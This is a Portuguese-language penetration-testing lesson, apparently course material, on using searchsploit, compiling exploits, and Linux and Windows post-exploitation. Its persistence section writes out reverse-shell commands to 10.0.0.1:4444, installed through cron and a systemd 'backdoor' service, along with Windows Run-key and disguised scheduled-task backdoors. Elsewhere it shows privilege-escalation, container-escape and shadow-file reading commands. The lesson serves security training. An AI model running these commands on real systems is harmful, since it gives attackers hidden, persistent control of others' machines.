ExploitDB e Pós-Exploração
Aula 7 de 7
ExploitDB (searchsploit)
Busca de Exploits
# Buscar exploits por termo
searchsploit apache 2.4.49
searchsploit eternalblue
searchsploit wordpress
searchsploit "linux kernel" local privilege escalation
# Busca exata por versão
searchsploit -e "Apache 2.4.49"
# Mostrar caminho completo dos exploits
searchsploit -p 50512
# Copiar exploit para diretório atual
searchsploit -m 50512
# Atualizar banco local
searchsploit -u
Categorias
# Exploits por plataforma
searchsploit -t "Windows"
searchsploit -t "Linux"
searchsploit -t "Web"
searchsploit -t "Android"
searchsploit -t "iOS"
# Verificar se CVE específico tem exploit
searchsploit cve-2021-40444
searchsploit cve-2023-23397
Compilação de Exploits
# Exploits em C (Linux)
gcc -o exploit 12345.c
gcc -o exploit 12345.c -lpthread
# Exploits em C (Windows — cross compile com mingw)
x86_64-w64-mingw32-gcc -o exploit.exe 12345.c -lws2_32
# Exploits Python
python2 exploit.py
python3 exploit.py
# Verificar dependências
cat exploit.py | grep "import"
cat exploit.c | grep "#include"
Post-Exploitation — Linux
Enumeração Automática
# LinEnum — enumeração completa do sistema
./LinEnum.sh
# linpeas — enumeração + detecção de vulnerabilidades
./linpeas.sh
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# pspy — monitorar processos sem root
./pspy64
./pspy64 -pf -i 1000 # Processos e file system, 1s intervalo
Enumeração Manual
# Informações do sistema
uname -a # Kernel versão
cat /etc/os-release # OS versão
hostnamectl # System info
cat /proc/version # Kernel compile info
# Usuários
cat /etc/passwd # Usuários do sistema
cat /etc/shadow # Hashes de senha (precisa root)
w # Usuários logados
last # Histórico de login
# Rede
ip addr
ip route
ss -tuln # Portas de escuta (netstat moderno)
arp -a
# Processos
ps aux
ps aux --forest # Árvore de processos
top -bn1
Escalamento de Privilégio — Linux
# SUID — binários com permissão SUID
find / -perm -4000 -type f 2>/dev/null
# Lista de binários SUID perigosos: nmap, vim, bash, python, perl
# Sudo — comandos permitidos sem senha
sudo -l
# Se tiver: (ALL) NOPASSWD: /usr/bin/vim → :!bash
# Cron — tarefas agendadas
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*
# Arquivos world-writable
find / -writable -type f 2>/dev/null | grep -v proc
# Kernel exploits
searchsploit "linux kernel" privesc
# Verificar versão exata do kernel: uname -r
# Docker/LXC — escapar de container
docker run -v /:/mnt -it alpine
cat /proc/1/cgroup | grep -i docker
Post-Exploitation — Windows
Enumeração Automática
# winPEAS — enumeração completa
winPEASany.exe
winPEASx64.exe
# PowerUp — escalamento de privilégio via PowerShell
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks
# BloodHound — mapeamento de AD (coletor)
SharpHound.exe -c All
# BloodHound (analisador): interface gráfica com queries Cypher
Escalamento de Privilégio — Windows
# Serviços com permissões fracas
sc query
wmic service get name,displayname,pathname,startname | findstr "LocalSystem"
icacls "C:\Program Files\Service\service.exe" # Verificar permissões
# Unquoted service paths
wmic service get name,displayname,pathname,startname | findstr /V /R "\".*\""
# AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Token privileges
whoami /priv
# Se tiver SeImpersonatePrivilege → JuicyPotato, PrintSpoofer
Persistência
Linux
# Cron job
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'") | crontab -
# SSH authorized_keys
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Systemd service
# /etc/systemd/system/backdoor.service
# [Unit]
# Description=Backdoor
# [Service]
# ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
# Restart=always
# [Install]
# WantedBy=multi-user.target
systemctl enable backdoor --now
Windows
# Registry - Run key
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe"
# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Public\backdoor.exe" /sc onlogon /ru SYSTEM
# WMI persistence
# wmic /namespace:\\root\cimv2 PATH __EventFilter CREATE ...
Reporting
# Dradis — colaboração em equipe
dradis # Iniciar servidor web
# Faraday — integração com ferramentas
faraday
# Importar resultados XML: nmap, nessus, burp, openvas
# CherryTree — notas hierárquicas
cherrytree
# Estrutura de relatório
# 1. Sumário executivo
# 2. Escopo e metodologia
# 3. Descobertas (CVSS score, impacto, recomendação)
# 4. Evidências (screenshots, logs, payloads)
# 5. Linha do tempo
# 6. Recomendações de remediação
Lab: Pós-Exploração Completa
# 1. Buscar exploit de privesc
searchsploit "linux kernel" | grep -i privilege | head -10
# 2. Enumeração manual
cat /etc/passwd | grep -E "/bin/.*sh"
find / -perm -4000 -type f 2>/dev/null
# 3. Verificar sudo
sudo -l
# 4. Verificar cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
# 5. Estabelecer persistência via cron
# (crontab -l 2>/dev/null; echo "@reboot /tmp/backdoor.sh") | crontab -
Pós-exploração determina o valor real de um pentest. Enumere completamente, escale privilégios, estabeleça persistência e documente cada passo. Um achado sem relatório não existe.